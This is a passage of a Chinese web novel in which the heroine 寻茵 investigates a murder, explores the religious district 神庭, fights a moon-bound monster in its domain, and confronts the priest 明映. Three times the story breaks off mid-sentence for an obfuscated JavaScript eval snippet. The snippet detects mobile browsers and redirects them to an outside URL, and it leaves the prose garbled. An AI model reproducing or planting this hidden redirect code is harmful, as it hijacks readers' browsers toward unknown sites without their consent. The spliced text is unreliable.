“依照领主的意识，领域会自动筛选目标——个人和群体都可能进入领域。领域的破解方式与遗落之骸的处理方法一致。就像你遇到的魂木，它的领域具有吸取猎物的能量为自己充能的作用。不过你的运气不错，遇到的是刚出生的准A级，不然我们也只有给你收尸的份——或许尸体也不会留下。” 寻茵听着沈阑珊的科普，一边开始看魂木的报告。 魂木 寄体：人类 等级：准A（可进化） 能力介绍：能够吸取周围一切能量为自己充能，又叫‘不死树’。 经历：魂木首次发现于常青研究所，净化纪078年，常青研究所由于研究违禁物被曙光中心清扫，魂木下落不明。 可进化，寻茵的目光落在这三个字上：“魂木最多可以进化到什么等级？” 沈阑珊愣了一下：“准A是它刚孵化的等级，遗落物很少有等级上限，只要有足够的污染能量。” “那……它可以换多少能量点？” 沈阑珊对上寻茵亮晶晶的眼神，嘴角一抽：“和A级一样。” 她看着寻茵发出一声凄惨的哀嚎，一把躺回病床上用被子将头蒙了起来，不一会儿，寻茵的声音在被子下闷闷传来：“……我有点后悔了。” 后悔什么，没得到它的核心？ 和十万巨款擦肩而过只让寻茵消沉了一秒，很快她又坐了起来，表情振奋：“那线索呢？” 沈阑珊翻开自己手里的痕检报告：“莉兹的死亡事件是凌晨五点，也就是说比你遇到灰鼠更早。” 如果莉兹在灰鼠之前死亡，那寻茵遇到的莉兹又是谁……杀死莉兹的凶手？ 凶手为什么会杀死莉兹，莉兹的妹妹莉娅又为什么会成为魂木的寄体？寻茵遇到的‘莉兹’又是谁？假冒‘莉兹’来未来酒店又有什么目的？ 据安夕拾事后所说，C09说她‘莉兹’只帮忙打扫了0751一间房，某种程度上，是不是意味着这假莉兹是冲着灰鼠的尸体来的？ 但假莉兹又怎么确认灰鼠已经死了呢？ 想不明白，中间仍缺乏一条能够被串起来的线。 “灰鼠的尸体我们会派其他人继续追查，说实话，想要在众目睽睽之下将一具尸体带走基本是不可能的事，所以我们认为……” “灰鼠的尸体仍在酒店？”寻茵接上沈阑珊的未尽之语。 “是的。不过我们依然从莉兹这条线开始入手，我们认为凶手和灰鼠也有关联。” “所以你们打算通过调查莉兹的人机关系，筛选凶手的身份？” 寻茵忍不住皱了下眉。说实话，她并不觉得能够通过莉兹的人际关系网筛选出凶手，出于某种不方便说明的的情况，寻茵能肯定对方是职业杀手。 这种人绝对不会出于自我意志去杀人，他们只完成指令。 如果从这个角度考虑，莉兹的身上又有什么地方值得对方谋杀？ “为什么凶手杀了莉兹，却放过莉娅？” 10. 曙光中心8 沈阑珊猜测道：“或许是认为莉娅已经被魂木寄生，没必要杀？” “那问题就出现了，莉娅为什么被魂木寄生，换句话说，魂木寄生是否跟凶手有关？” 寻茵进一步发出疑问。 “三年前，莉娅来曙光中心做过检查。” 一道声音插进来，二人的视线转过去，璩双站在门边。 “这句话的意思是，三年前，她还没有被寄生。如果把人的身体比作储存能量的容器，正常人会因为战斗，导致体内能量枯竭，就像你——”璩双指了指寻茵。 “但经过一段时间修养，或是吸收净化核心中的能量，则可以补齐失去的能量。但对于莉娅而言，她的身体就像破了一个小口，不管给她多少核心，吸收多少能量，都会渐渐弥散。所以她的身体会不断虚弱下去。这个病症太罕见，也找不到根源，因此治疗一直没有进展。” “看起来你恢复得不错。但我不希望自己人也经常出现在医疗部。” 璩双看着寻茵道。 “那我可以走了吗？还有事情要做。” 璩双的脸上没什么表情，然而寻茵却好像听见了一声很轻的叹息：“……去吧。三天以内不准用义体，这是医嘱。” 沈阑珊看了寻茵一眼，向她竖起一个大拇指。 敬业，太敬业了！ …… “莉兹最近经常去神庭？” “神庭是什么地方？”寻茵好奇开口。这名字听起来有种宗教味。 天屿瞥她一眼，回答：“净土以中心城为中心，东西南北四个不同的方位各有其独特的环境，又因此划分四个区域。其中神庭位于东区。” “我看过《净土史录》，记得东区跟绿洲接壤，在遗落之骸刚刚降临的时候，绿洲与净土联手对抗，绿洲还派出使者……” 说到这，寻茵眉梢微挑：“难道这就是神庭的由来？” “没错。绿洲来的使者渐渐与东区居民结合，最终形成了神庭。神庭是净土唯一的宗教。” “曙光中心会放任神庭在净土存在吗？” 天屿撇撇嘴：“曙光中心直接负责中心城，对于其他四区管辖能力始终有限。当神庭在东区发展起来的时候，曙光中心再出手就来不及了。” 科普到此为止。 寻茵摊手：“既然这样，我们下一站就是神庭？” 天屿微微眯眼：“不，是你的下一站。我还有事，去神庭的任务就交给你了，沈阑珊会辅助你进行调查。” 寻茵愣了下，看向沈阑珊，忽然道：“这算考核吗。” 看得出对这两天的考核印象深刻。 沈阑珊将询问的目光投向天屿，得到天屿无奈的回答：“不算。” 中心城距离神庭的距离不算非常遥远，沈阑珊驾驶三小时后，驶入隧道，隧道的尽头是一扇钢铁制成的门，与隧道镶嵌得严丝合缝。 “每个区域通行需要刷个人账户。”沈阑珊说完，门上忽然出现一道红色扫描光，扫过车牌。 “当然，有交通工具的话扫交通工具编码也行，”沈阑珊在手腕上点了下，“就像这样，它会确认车上人的身份，并通知到你个人，只有你在账户上点击确认之后才能通行。” 门缓缓升了上去，放二人通过。 东区的氛围与中心城具有显著差异。 这里的街道非常狭窄，路面是一块块石板，然而石板缝隙间淤积着黑褐色的污渍；这里的房屋绝大部分显得矮小，唯有中心的一座建筑，却高耸得直入云端。 当然，这并不是最奇怪的。 街道上跪满了无数人，他们闭着双眼，向着那栋最高的建筑虔诚跪服，似乎人人都是信徒。 寻茵打量的目光非常放肆，然而没有任何一个人对她投来奇怪的注视，这里的人像被预设好程序的机器人一样沉默地做着祝祷，整片区域只有寻茵走路时鞋跟与地砖发出的敲击声，没有人声，也没有鸟鸣。 直到来自神庭沉重的钟声响起时，所有人站了起来，像是被忽然注入灵魂似的，脸上出现某种鲜活的表情。不过仍没人向寻茵二人投来目光。 “这里一直都这么诡异吗？”她搓了搓自己胳膊上莫名出现的鸡皮疙瘩，靠近沈阑珊。 沈阑珊无奈地拽下寻茵胳膊，她不明白寻茵为什么非要停下脚步看这些人祝祷。 “在每月五号是他们的祝祷日，他们会在钟声敲响时开始静默，直到钟声结束后终止。” 寻茵二人向着钟声来源处走去。 入目是一道大理石拱门，拱门后有一段台阶，台阶上又是一整片开阔的广场，广场的最中心立着一座高大的石状塑像——寻茵没认出那是什么，石像过于扭曲，寻茵在那看出了无数种生物的影子。 不过古怪的石像并不影响整体环境神圣肃穆的氛围。 之前她们看见的最高建筑就在广场上的石像后方。 尽管外面已经结束，但石像的周围依旧围满了身穿黑色服装的信徒。为首正面对石像的人浑身披着白色纱衣，垂首闭目，像是一种无声的默哀。 周遭的信徒随他一同凝视着石像，缄默得像是潭死水，而她们二人正是投入死水中试图搅起涟漪的石子。 沈阑珊抱着双臂站在一旁冷眼旁观着这场仪式。 寻茵并没有直接上前亮出身份，她观察着每个信徒面上的表情，对比着他们与街上信徒的不同。 这些人身上穿着与外面相同样式的衣服，但不需要仔细观察就能一眼看出他们身上的剪裁、材质，都远超街上信徒，并且，他们也没有向石像跪拜。 当个信徒也分上三六九等了。 没在这些信徒身上发现其他值得注意的地方，寻茵将视线移至为首的人身上。 一个看起来很年轻貌美的男人，有一头银白长发。对寻茵而言，这不算最值得引人注意的点。 ——不确定是不是错觉，寻茵总觉得自己似乎在哪里见过他。 当然，这绝对不是某种搭讪台词。 就在她准备深究这莫名的熟悉感时，建筑最顶的钟再度敲响。 十五分钟过去。 男人睁开眼，寻茵才发现他的瞳孔与发色一致，如果不细看就会让人以为瞳孔与眼白融为一体。 身边的信徒递上一节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是神使，”明映摇摇头，“只是明映。虽然我看不见您，您身上的气息让我感觉非常亲切。” “……？” 寻茵愣了下，试图解读：“……你的意思是这个权限只能给你的朋友，而不是曙光中心的人吗？” 明映笑而不语。 寻茵便不再纠结，她道：“说起来，我之前见你也觉得很熟悉，特别是你没睁眼的时候。” “是吗？这么说起来，我们真的很有缘分。哪怕调查结束，我也欢迎您来神庭参观。” …… “看起来明映那是问不出什么了，恐怕只有我们把证据摆在他面前才会承认。” 沈阑珊正在发消息告知天屿他们留宿神庭的决定，闻言看了寻茵一眼：“你有没有觉得他对你的态度很奇怪？” “什么？” “一个从绿洲来，一个之前是绿洲居民，难道说绿洲和绿洲之间有种别人不知道的联系？” 11. 曙光中心9 夜幕悄悄降临。 寻茵坐在明映准备的柔软大床上。 在进入房间后，她第一时间搜寻过，好在并没有出现监听器之类的东西。 她打开自己的游戏面板。 事实上，早在寻茵随沈阑珊进入东区之后，她的游戏面板就发生了些变化，只是苦于一直没有私人空间，她没办法查看。 【编号：10001（白乾） 阵营：人偶 积分：1200（＋1000）】 嗯？她记得自己有一个基础任务，完成可得1000积分，但是时限是三天。 好在积分的边上有一个可以查看明细的按钮，寻茵点进去。 【击杀食尸鬼+100 击杀灰鼠+100 解锁地区{东区}+1000】 解锁地区还能获得积分？那为什么曙光中心没有，中心城难道不算地区吗？地区歧视要不得。 【恭喜您，积分到达1000，商城已开启！】 尽管心中腹诽，寻茵仍旧口嫌体正直的点开商城。 【随机大礼包】：售价3000积分 【智慧女神的眷顾】：售价1000积分 【能量核心】：售价10积分起 …… 寻茵的目光落在最上角。 【新手大礼包】售价：0积分 她的眼睛刷一下亮了起来，毫不犹豫点开商品介绍。 【新手大礼包：作为初入世界的陌生人，您是否经常感觉自己与这个世界格格不入？新手大礼包来帮您！】 【注：新手礼包会根据您自身的处境，开出您最需要的东西！】 最需要的东西？ 寻茵在心中猜测，难道是花不完的能量点？ 她将自己本就干净的手用纸巾再度仔细擦了遍，神色郑重地按下大礼包开启按钮。 一阵白光闪过，寻茵迫不及待地看向眼前的…… 一只狗？ 【恭喜您获得‘流浪狗’！尽管它看起来又脏又丑，老得下一秒就要死了，但只要你愿意，它也能在这个世界力为你提供一丝温度。如果你能用爱来饲养，它说不定也会有一些奇迹的变化。】 【有主的狗狗不流浪！请为它更名：】 寻茵：“……” “？？？” 她双眼微闭，再度睁开。好吧，很遗憾这不是幻觉。 一只脏的看不出原本毛色的杂毛流浪狗正冲她呲牙。这条流浪狗唇部的肉被要掉，尖利的齿牙暴露在空气中，夹着尾巴，伏低身体，警惕地对着寻茵。 看起来简直像是从路边哪个旮旯里随手抓来的。 所以……究竟是怎么判定，游戏才会认为她最需要的居然是一只狗？ 匪夷所思。 寻茵没有跟小动物相处的经历，她想了想，后退几步将桌子上的饼干放在它面前。 然而当她准备撒开手时，它便亮出獠牙，差一点就咬伤寻茵。 攻击未遂，它也并未乘胜追击，而是警惕地盯着寻茵，退到离她更远的地方。 啧，寻茵忍不住咋舌，现在对她而言还有个更严重的问题——她该怎么处理这只狗？ 随身带着是绝对不可能的。 像是检测到寻茵的心声，这时候游戏又开始展露出人性化的一面——【是否兑换‘流浪狗’？可获得50积分。】 【该决定无法撤销，请慎重考虑！一旦‘流浪狗’被兑换，则永久消失。】 永久消失？ 这又是什么意思。 寻茵的目光顿了下，将视线落在那只对它充满攻击性的狗身上。 “行吧，”她无奈地摊摊手，“这么凶，就叫你小刺猬。” 看起来小刺猬不喜欢它的新名字，向寻茵低吠一声。 命名完后，寻茵发现游戏面板上的宠物界面多出了回收键，她可以将小刺猬随时收回自己的背包，而她只需要定期喂食，保证它不饿死就行了。 想了想，寻茵确认，这大概就类似于桌宠，只不过她养的这个具备实体。 话说回来，这算是数字生命吗。 或许有些奇怪，如果这么说，所有她进入游戏遇到的人都称得上是数字生命——当然，寻茵直到现在才有实感。 她点开面板上的喂食栏：请在24h内喂食{核心}。 寻茵：“……”她就知道没这么简单。 现在退货还来得及吗？ 24h内得到核心……但据璩双所说，一队至少要在半个月后才能回来。这意味着她不可能进入污染区给小刺猬弄来核心。 现在的时间是12：55，也就是说，她能够拥有私人时间仅仅是今晚，和明天下班后至12：55。 她深深地吐出一口气，抓了抓发顶，为自己的一时好奇付出代价。 直到银色的月辉从窗外洒进来时，寻茵接到了沈阑珊的信息。 “三楼天台，15分钟换班，二人一组。” 没错，她们决定今晚单独行动，沈阑珊负责一至五楼的调查，寻茵负责六至十一楼的调查，四点于固定位置集合交换情报并商量明天的行动。 眼下沈阑珊已经将集合地点以及巡逻换班的规律发给她，她可以借此躲开这些警戒的家伙。 寻茵抬头看了眼窗外，月黑风高，适合做一些不方便光明正大进行的事。 身上的衣服已经换成了黑色干练的夜行服，据沈阑珊所说，这件衣服具有最新的光学迷彩技术，能够通过光的折射来隐藏自己。 因为身体还没完全恢复，不到危急时刻，寻茵并不准备使用义体。 将夜视镜戴在眼睛上，又顺手确认腰间的匕首藏匿得恰到好处，寻茵打开窗户，一阵风猛烈地灌了进来，扬起她耳边的一缕发丝。 漆黑的夜晚也显得清晰可见。 她跳上窗沿，朝下看了眼，六楼的高度，对她而言算不上太高。 明映安排寻茵与沈阑珊休息的房间就在六楼，是专门用来招待客人的楼层，她非常确定，就算真有什么线索也绝不会放在六楼，因此早在晚上行动之前就大致搜索了一圈。 果然没发生什么预料之外的情况。 神庭外墙是一种不规则石块，有许多纹路，这也意味着上面有许多借力点。 寻茵在窗沿用力上跳，足尖借着粗糙的墙面爬上七楼。 ——当然，现在刚好是交班的时间。 她计算着时间，迅速扫清自己留下的痕迹，来到第一个房间。 将明映给她们的芯片贴在门口感应器的位置，门‘喀哒’一声，发出的声音在寂静的黑夜里格外清晰。 “你听见了吗，刚才好像有什么声音？” 寻茵迅速闪身进去，又关上了门。 她听见脚步声离这扇门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237607|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越近：“没有人。你是不是太困了，就算有人没神使的权限也进不去。” ……没走。 大概三分钟后，声音又道：“你听，没声音，别担心了。” 寻茵盯着门，大概能想象到对方将耳朵贴在门上试图听见里面可疑的响动，然而她们无论也想不到，入侵者与她们仅有一门之隔。 脚步声渐渐远去，寻茵才视线放在这里的架子上。 这里大概是杂物间？ 随手挥开萦绕在呼吸间的飞尘，寻茵抽出架子上的档案袋。 档案的表面标着《殉道者078年名单》。 殉道者……寻茵对这个词有了解。 殉道者是神庭的一种秘密组织，表面上它挑选最优秀、最虔诚的队员组成队伍，负责神庭明面上的治安。但实际上恐怕远不止于此。 而这份名单距今过去七十多年，能这样毫不在意地随手放在杂货间，就意味着上面的人大概都已经不在人世。 既然如此，恐怕很难与莉兹扯上关系。 但保险起见，寻茵仍旧拆开档案，里面只有一张纸，上面有无数代号及真实姓名，寻茵将这些东西记在脑子里后，又将档案复原，破坏现场留下的痕迹，离开房间。 时间紧急，她不可能每间房间都调查，但说实话，从七楼到十楼，她搜完也没找到什么有用的。 每一层都有杂物间，里面有各时期的殉道者名单，但这没什么值得在意的地方，总之不是近十年的。 尽管有种将要无功而返的直觉，但她还是继续向十一楼前进。 进入十一楼，氛围明显不用于下面。 这里几乎看不见一点光，完全被黑暗所吞噬，头顶的红外摄像头像一只红色的眼睛，暗中窥探着她的举止。 除此之外，这里还非常寂静，悄无声息，如同…… 一层寒风轻抚过寻茵后颈，让她的身体生理性颤栗一下。 顺着风的源头看去，走廊上的窗户被开了一道小缝。 ——不对。 一种莫名的怪异感出现，直觉向她疯狂发出警告。 离开！ 离开十一楼！ 她眼神一厉，顿时远离窗户，然而来不及了！ 黑暗的场景忽然变得明亮，突然的光线让寻茵眯起了眼睛，以缓解亮度变化导致的酸涩。 一种奇异的香味在走廊蔓延，寻茵只闻到了一点，无法分辨究竟是什么。 她瞬间屏住呼吸，警惕地盯着窗口，然而窗口处的没有任何东西——有的只是透过窗户能够看见的一轮玄月。 寻茵从未见过这么大的月亮。 很快，“咚咚”急促的脚步声从楼梯间传来，寻茵迅速回神，躲进拐角。 “白乾？这里发生什么了吗？” “我刚刚在下面听见声音，有点担心你，就上来看看，你在这吗？” 死寂的环境下出现一道女声，是沈阑珊的声音。 她的脚步声放得很轻，很缓，因此落在耳中显得格外煎熬。 然而寻茵放缓自己的呼吸，似乎将自己完全融进这黑漆漆的拐角。她不准备出去。 十一楼能发出多大的声响，将楼下盘查的沈阑珊吸引上来，何况，沈阑珊都能察觉这种响动，难道值守察觉不到吗？ 为什么只有沈阑珊出现？ 又或者说，这个沈阑珊，究竟是什么东西？ 12. 曙光中心10 “喀哒、喀哒”，脚步声渐渐逼近。 “我知道你躲在这里，为什么不出来，难道是不相信我吗？” ——她要真出来就有鬼了。 寻茵在心底回应对方，同时越发专心地去听对方的动静。 然而‘沈阑珊’在说完这句话就没了声响，似乎真的因为寻茵不信任而伤心。 “为什么、不相信我呢？” 这声幽幽的质问响在安静的环境下平添几分诡谲。 但很快，她又道：“好吧，好吧，既然你不相信我，也不愿意出来，看来是没事了。那我就先走了，你之后一定要记得出来哦。” 脚步声渐渐远去。 可寻茵并未放松警惕，仍保持着原来的姿势。果不其然，大约五分钟后，走廊又出现沈阑珊的声音，显然，她从未远去：“为什么不愿意出来呢？为什么不乖乖听话呢？” “不听话的孩子是没有糖果的——” 那声音越来越尖细，渐渐从沈阑珊的声音完全蜕变成小孩子尖细的嗓音。 “在哪里？在哪里？” “你想跟我玩捉迷藏吗？” “好啊！十一从来都没玩过——捉到你，可以陪十一玩吗？” 寻茵：“……” 腰间的匕首让她的心略微安定了些——尽管她知道这种东西对那个假扮沈阑珊的存在无法造成伤害，但是她习惯了。 月光将对面的墙壁印得雪白，看起来就像幕布一样，很适合做手影。而此刻，幕布上出现几条扭曲的，像蛇一样的东西—— 她僵硬地抬起头。 对上一双全黑的瞳孔，夜视镜的视野中，无数条黑黢黢的东西交织成密不透风的网，她是网中唯一的猎物：“——找到你啦！” 寻茵从来没觉得自己跑得有这么快，冷刺刺的风灌进胸腔，还没在肺里走过一个轮回又被她迫不及待地吐出去，喉咙里泛出铁锈的味道。 她能感觉自己浑身的毛孔开始扩张，皮肤发热，体力在迅速消耗，然而身后的怪物似乎并不急切地想要抓到她，对这种猫捉老鼠的游戏乐此不疲。 ——这样下去不行。 一味躲避只会被无限消耗，她必须停下来，战斗，消灭它。这才是唯一一劳永逸的方法——而且，她需要核心。 在刚才逃亡的过程中她的余光将怪物的身影完全笼罩进去——那大概是某种花，外形类似于哭叫花——这种花是红色的，花瓣巨大，头顶的花蕊是无数个婴儿头，它们那种能够蛊惑人心的叫声就是从这几根花蕊的婴儿头上面发出的。 但哭叫花没有香味，并且它没有腿脚，无法移动，而这朵怪异的花不仅能够移动、能发声、还有目前无法得知作用的香味。 而寻茵——她的身上只有一把匕首，甚至力量也没有恢复。 太劣势了。 就算现在勉强使用义体——九瞳不能用，触手可以。 不知道是不是由于触手是物理攻击的原因，它对寻茵的消耗并不多，不至于像九瞳一样，一使用就有种被抽干的感觉。 寻茵不得不感慨自己跟遗落之骸之间的缘分——来到游戏不过两天，好吧，现在已经过零点了，应该算第三天，她就已经遇上了三只遗落之骸。 这是合理的概率吗？ 至于为什么神庭也有遗落之骸这个问题，寻茵暂时没空思考——她的余光掠过房间号，四开头。 原来在不知不觉中她已经从十一楼跑到了四楼。 然而诡异的是，就好像一夜之间神庭所有人都约好去旅游却唯独没有告诉她一样——寻茵一个人都没有发现。 楼道里，除了她渐渐沉重的脚步声，遗落之骸怪异又兴奋的尖叫，没有任何声音。 绝对有什么东西不对劲。 她看准位置，整个人撞向四楼的窗子——落到了三楼天台上作为缓冲，又微微使力落在广场上。 遗落之骸似乎还以为寻茵要跟它从四楼追到一楼，然而寻茵却已经落在广场上。 它发出不悦，又或者是恼怒的声音。 但寻茵没管。 广场上被头顶的明月所照耀，没有任何一片黑暗，突兀地让寻茵想起了游戏降临的夜晚，似乎也是这样一轮圆月。 只是那时她呆在自己的房子里，完全没有出去，无法得知外面是不是像神庭的广场一样明亮。 将夜视镜摘了下来，寻茵开始庆幸自己穿了一身方便作战的衣服。 她活动了一下关节手腕，又抬头看了眼月亮——这个角度看来就像一盏大灯泡。 而且是实验室保温箱里的灯，她和将她当成猎物的遗落之骸或许是为哪一场实验献身的小白鼠，总之，谁知道呢。 寻茵收回发散的思维，轻松躲过一击。 说起来，似乎自从在月亮下，它就表现出一种莫名的焦躁。 要怎么办？ 或者说，这种一无所知的怪物——它的核心在哪？ 这怪物的攻击手段跟魂木很像，都是使用枝干攻击——不过寻茵总怀疑它还有另外的攻击手段，她从璩双给的图鉴手册里了解过。 A级及以上的遗落之骸很可能不仅只有一种攻击方式。 眼前这只怪物给她的压迫感比魂木更强——魂木是准A级，这意味着眼前这个怪物很可能是A级。 准A级的魂木都存在领域，没道理这朵花会不使用领域，除非—— 那种甜香再度出现，但寻茵无法将这气味与任何一种花联系上。这不奇怪，毕竟她对花的种类和香味并不了解。 她没有屏息——就算香味很可能有不好的作用。 在战斗这种情况下，屏息无异于自缚手脚。 蛰伏许久的香味作用终于浮现。 寻茵的头开始眩晕，脑子里响起孩童的尖叫，耳朵里一阵耳鸣，意识瞬间被分散—— 藤蔓狠狠地向她抽来，尽管身体下意识躲闪，却仍因脑子里的干扰没能完全躲过。 寻茵整个人被抽飞出去，砸在了石像身上。 “咳……” 这一下的力道几乎让她的脏腑都开始移位，胸口处是一种隐约闷痛，但她全然无暇顾及。 头顶的藤蔓在月光折射下泛出刀刃一般锐利的寒光。 ——躲不开。 眼神一厉，身后的触手在藤蔓空隙间破开，带着寻茵一起跃上石像，躲过藤蔓的包围。 她离头顶的月亮更近了。 身体开始修复，让寻茵觉得喉咙痒痒的有些想要咳嗽。 但她忍住了，冷眼看着石像下越发显得暴躁的怪物——它的藤蔓像蛛网一样密密麻麻铺满了整个广场，一旦想要从石像上下来，无疑就像被黏在蛛网上的昆虫一般。 那么，她应该怎么做？ 这个怪物的核心在哪？ 正面对敌是绝对无法获胜的——绝对有什么东西是她漏掉的。 快想想，线索应该就在眼前！ 寻茵的目光紧紧盯着怪物的身体，似乎像判断对方身上那个地方可能存在核心。 然而地下的怪物并没又给她太多时间，又或者说，它被寻茵肆无忌惮的目光惹怒了。尽管它似乎极力避开月光——但眼下，显然对寻茵这只猎物的捕猎欲压下了这种反应。 月光。 她知道了！ 就在藤蔓攀爬上石像，将要缠上寻茵脚踝时，锋利的触手切开藤蔓。 怪物变得更加恼怒，脑子里的孩童尖叫着：“下来！下来！” 这种声音似乎能够控制人的意识。 于此同时，那怪物也似乎因为恼怒越发膨大—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237608|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它变得有石像那么高。 花蕊上的婴儿头开始一齐道，与寻茵脑中的声音共鸣：“过来！” 她似乎失去身体的控制，迈开第一步—— 就在藤蔓织成的囚笼即将困住她时，寻茵木然的表情变成一个狡黠的笑容：“……我也找到了，捉迷藏，我赢了。” 借着头顶的藤蔓，寻茵在触手帮助下稳定身形，足尖踏在婴儿头上——但很快，四面八方的藤蔓将她整个人拉了下来，寻茵发现这些藤蔓上分泌出一种粘腻湿滑的液体，接触到皮肤时泛起剧烈灼痛。 功亏一篑吗？不。 她看着那轮越来越近的月亮，掷出了掌心的匕首。 似乎是一种玻璃碎裂的声音，身上紧缚的藤蔓渐渐松落，寻茵顺利落在地上。 寻茵身上被藤蔓分泌的液体灼伤，留下无数条状烧伤，伤口又在不停自愈，痒意让她忍不住皱了皱眉。 但很快，寻茵就发现环境渐渐变得昏暗，娇艳的花瓣开始枯萎，婴儿头在不停尖叫，似乎不愿迎接即将到来的死亡。但最终，还是渐渐枯萎成了残骸，消失在寻茵眼前。 她闭上眼，感受最后的月辉在自己身上消散。 半晌，她看向自己面前凝着的一颗菱形核心。那颗月亮，就是寻茵遍寻不得的核心。 她偏了偏头，自己不在神庭广场，仍在十一楼走廊。 身上的伤痕和那颗核心都在提醒她，这绝对不是一场梦。 从作战服大腿右侧的口袋摸出机械表，距离她踏进十一楼的时间不超过三分钟，这意味着，寻茵刚踏上十一楼时，很可能就被那朵花拉进狩猎领域。 那阵莫名的香味并不是游戏开始的信号，当寻茵闻到香味，察觉不对时，对方已经作弄了她有一会。 那么现在又回到之前寻茵没空思考的问题：为什么神庭会出现遗落之骸？ 十一楼，有什么特别的地方？明映放出遗落之骸的目的又是什么？ 事实上，这只遗落之骸并不属于战斗类，而是控制类，这意味着放出遗落之骸的人并不想杀她。 至于为什么把这件事算在明映头上，这可是明映的地盘，寻茵不相信明映什么都没发现，哪怕不是主犯，这至少也是他默认的。 那么这就显得更奇怪了，一边鼓励她探索神庭，一边又要阻止她？ ……说起来，明映的房间好像就在十一楼，是那一间来着？ 寻茵弹了一下匕首，满意地听着脆响，这彰显着匕首足够锋利。 当然，她绝对不是想杀死对方。 寻茵在一间房间前停了下来，她将芯片贴在门禁位置。 “验证通过。” 讶异地扬了扬眉毛，寻茵抬脚走了进去。 没想到明映连自己房间的权限都给她了。 明映的书房非常亮堂——显然，他没睡。 “桌上有咖啡，如果你需要的话。” 听见脚步，明映头也没抬，视线仍停在桌子的文件上。 忽然，他顿了顿，看着脖颈间横着的锋利匕首，抬头看向寻茵，露出一个笑容：“发生什么了，难道是没有找到线索吗？” “就算是这样，也不用生气，只要你想，到时候曙光中心提供搜查令，我也会在上面签字同意的。” 寻茵饶有趣味地看着对方面不改色的表演，她故意沉下声音：“是吗？万一被搜出来神庭里有许多遗落之骸，你又要怎么办？” 明映笑了笑，看起来似乎将寻茵的话当成玩笑：“您真会开玩笑，所有人都知道，遗落之骸是一群没有理智的污染物，要是神庭真的有很多遗落之骸，哪还有这么多信徒能活着呢？” 看着对方说话间上下滚动的喉结，寻茵笑着将匕首贴得更近，直到上面出现一丝红痕：“活着的人，不就在你面前吗。” 13. 曙光中心11 “现在我问你，莉兹是谁，你记起来了吗？” 明映轻笑一声，用食指将寻茵抵在他脖子上的匕首推开：“莉兹我确实不熟悉……我只认识殉道者千足。” “殉道者千足？”寻茵的面色古怪了一瞬。 她当然记得这个代号。殉道者是传承制，但她们的传承并不仅仅只是代号的传承，还有能力。 寻茵不记得在哪本书上看到过，殉道者会在死前将自己的代号和能力传承给下一任，这代表的是一种使命的更迭，也因此许多殉道者会收信徒作为继任者。 但…… 莉兹居然也是继任者吗？ 根据沈阑珊之前拿到的情报记载，莉兹只有近期去神庭才变得频繁，之前很少、甚至是从未去过神庭。 一个并不虔诚的信徒，也能成为继任者吗？ 还是说这仅仅只是明映放出来的烟雾弹，目的是用来迷惑她？ “如果是这样，神庭的保障未免也太差了吧。莉兹死了，你不知道吗？” 明映的面色非常平静：“从她决定成为继任者的那天起，就要有被杀的觉悟。” “你认为是谁杀了她，别跟我说不知道，莉兹的人际关系网外面已经调查清楚，没有人与她结怨，更没有人有能力催动杀手杀她。也就是说，杀她的人一定是明面上不会出现的存在——比如你。” “想象力非常丰富，”明映不痛不痒地点评着，但露出一个无奈的表情，“但很遗憾，我不是。” “那就把你知道的告诉我，这样才能洗清你的嫌疑，神使大人。” 明映看着寻茵，露出一个若有所思的表情：“你为什么对于这件事这么卖力……还是说，这件事与你有关，你也是那个凶手的目标？” 寻茵闻言，双眼危险地眯起：“你想表达什么？” “别误会，”明映笑了，“我对你没有丝毫恶意——这样，我们来做一个交易怎么样？” “我认为哪怕不做交易，你也会说。”寻茵刺他。 “是的，没错，您真是非常了解我，”他叹了口气，“但如果不是我心甘情愿说的话，您又怎么判断真假呢？想要查证我的每一句话，需要浪费不少时间吧，万一最后查证出来是假的，您又要怎么办呢？” “我可以把你关起来，直到从你嘴里问出真话。想必尊贵的神使大人也没尝过牢狱之灾吧。” 明映不置可否地耸肩：“当然，当然，您可以这么做。但问题是——您有时间吗？” “或许你的心里也清楚，调查的时间越长，查到的东西就越渺茫。” 寻茵眼中寒芒一闪而逝：“你赢了，我答应。” “不是我赢了，”可他明明扬起一个获胜的笑容，“是我们赢了。” 看起来真欠揍。 “交易内容是什么？” “我不会让您吃亏的，交易内容，秘密互换，怎么样？” “秘密互换？”寻茵将视线定在对方脸上，她面无表情问道：“你又怎么知道我说的是真是假。” 明映摇摇头：“这不重要，就算您说的是假话，被您欺骗也是我心甘情愿。当然，我会向您保证，我说得内容，句句属实。信不信的决定权在您手上。” 她几乎是审视地看向对方。 …… 曙光中心，璩双办公室。 “白乾去调查神庭了。你认为她们在那里能得到多少信息？”天屿向坐在转椅上处理信息的人问道。 “能得到多少信息，那得看明映愿意告诉她多少。” “如果他全部告诉她呢？” “那又怎样？”璩双抬眼，轻飘飘地看了天屿一眼。 天屿一时语塞，眉头紧得似乎能打结：“你明知道这件事跟……那个有关系。如果她们查出来……” 